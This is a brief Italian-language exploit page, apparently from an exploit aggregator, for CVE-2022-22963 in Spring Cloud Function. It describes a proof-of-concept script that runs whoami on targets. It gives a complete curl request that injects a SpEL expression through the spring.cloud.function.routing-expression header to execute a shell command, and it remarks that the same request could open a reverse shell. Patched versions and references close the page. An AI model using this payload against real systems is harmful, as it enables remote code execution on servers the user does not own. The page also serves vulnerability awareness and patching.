## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PUCKIESTYLE-CVE-2022-22963
# CVE-2022-22963
CVE-2022-22963 PoC
Leggermente modificato per la traduzione in inglese e il rilevamento di https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/Spel_RCE_POC.py . Di default sul target viene eseguito whoami e viene creato un file vulnerable.txt con gli URL vulnerabili.
Sfruttare la vulnerabilità è abbastanza semplice. Di seguito è riportato il comando curl per sfruttare la vulnerabilità .
curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
Con questo curl è banale creare un file sul sistema operativo, ma potrebbe essere usato per aprire una reverse shell sull'host o sul container vulnerabile.
Se sei interessato da CVE-2022-22963, dovresti aggiornare l'applicazione alle versioni più recenti 3.1.7 e 3.2.3.
# Maggiori informazioni su
https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html, https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52